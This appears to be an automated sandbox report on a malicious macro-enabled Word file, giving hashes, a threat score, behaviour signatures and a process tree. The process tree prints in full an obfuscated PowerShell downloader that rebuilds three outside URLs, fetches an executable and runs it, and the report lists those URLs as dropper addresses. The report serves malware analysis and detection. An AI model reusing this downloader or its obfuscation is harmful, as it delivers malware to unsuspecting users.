Analysis

  • max time kernel
    109s
  • max time network
    113s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    19-09-2024 05:56

General

  • Target

    malware300.docm

  • Size

    75KB

  • MD5

    f1cd8322fa2f0a04c9b04d2f5adb6513

  • SHA1

    25a72fd4bdfdefabd776900af126f17a6acdcc04

  • SHA256

    bcb9649566030305c43a0e9267e4d9a4c208e94cee552cc5832945ba95930076

  • SHA512

    562435c3e72dca717ade9d12e7538d8a55e63e64f96b2e0f524475bf20f5a079b37b558211c31d87c13b5425b790797ebf69cf34fcc52d24cd34f74c2a1766c1

  • SSDEEP

    1536:sToxKs4T4G4O95lX/5hMXzxJVJF5Pef9m/Fmq5rqFFiIyyyDHQYEzO:EoTy4G4Sbk/VJF5V75OLzyyyEYEa

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://gokeenakte.top/admin.php?f=1,http://videoanalystes.webcam/admin.php?f=1,http://photographypointer.men/admin.php?f=1

exe.dropper

http://gokeenakte.top/admin.php?f=1

exe.dropper

http://videoanalystes.webcam/admin.php?f=1

exe.dropper

http://photographypointer.men/admin.php?f=1

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Start PowerShell.

  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\malware300.docm"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2276
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2740
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $mYRg = new-object System.Net.WebClient;$eLcL = new-object random; $qcVYBGR = 'hnXFrtnXFrtnXFrpnXFr:nXFr/nXFr/nXFrgnXFronXFrknXFrenXFrenXFrnnXFranXFrknXFrtnXFrenXFr.nXFrtnXFronXFrpnXFr/nXFranXFrdnXFrmnXFrinXFrnnXFr.nXFrpnXFrhnXFrpnXFr?nXFrfnXFr=nXFr1nXFr,nXFrhnXFrtnXFrtnXFrpnXFr:nXFr/nXFr/nXFrvnXFrinXFrdnXFrenXFronXFranXFrnnXFranXFrlnXFrynXFrsnXFrtnXFrenXFrsnXFr.nXFrwnXFrenXFrbnXFrcnXFranXFrmnXFr/nXFranXFrdnXFrmnXFrinXFrnnXFr.nXFrpnXFrhnXFrpnXFr?nXFrfnXFr=nXFr1nXFr,nXFrhnXFrtnXFrtnXFrpnXFr:nXFr/nXFr/nXFrpnXFrhnXFronXFrtnXFronXFrgnXFrrnXFranXFrpnXFrhnXFrynXFrpnXFronXFrinXFrnnXFrtnXFrenXFrrnXFr.nXFrmnXFrenXFrnnXFr/nXFranXFrdnXFrmnXFrinXFrnnXFr.nXFrpnXFrhnXFrpnXFr?nXFrfnXFr=nXFr1' -replace 'nXFr', '';$bgkEHeJDiO = $qcVYBGR.Split(',');$dRdkqYLYer = $eLcL.next(1, 65536);$nmLnTiCn = $env:temp + '\' + $dRdkqYLYer + '.exe';foreach($crvyHl in $bgkEHeJDiO){try{$mYRg.DownloadFile($crvyHl.ToString(), $nmLnTiCn);Start-Process $nmLnTiCn;break;}catch{write-host $_.Exception.Message;}}
        2⤵
        • Process spawned unexpected child process
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1504

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      19KB

      MD5

      14dd5723ef576e7bbc9410362ca8e5f5

      SHA1

      6f4ce375fe9c381634908c9b89c1b387b03bdccf

      SHA256

      09d5344377fe6fa823d9b45f4a4ade5e9150d582735b56c41092a6cb86ed5b88

      SHA512

      11153b95569eb564beb5d42f79963faabec733170bd3e297f12cece370c84ef200909fec3919f3a989aa664a60b19f66630531092128216b4657a7125089f8ae

    • memory/2276-0-0x000000002FFC1000-0x000000002FFC2000-memory.dmp

      Filesize

      4KB

    • memory/2276-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2276-2-0x0000000070B6D000-0x0000000070B78000-memory.dmp

      Filesize

      44KB

    • memory/2276-8-0x0000000070B6D000-0x0000000070B78000-memory.dmp

      Filesize

      44KB

    • memory/2276-32-0x0000000000220000-0x0000000000320000-memory.dmp

      Filesize

      1024KB

    • memory/2276-31-0x0000000000220000-0x0000000000320000-memory.dmp

      Filesize

      1024KB

    • memory/2276-30-0x0000000000220000-0x0000000000320000-memory.dmp

      Filesize

      1024KB

    • memory/2276-29-0x0000000000220000-0x0000000000320000-memory.dmp

      Filesize

      1024KB

    • memory/2276-54-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB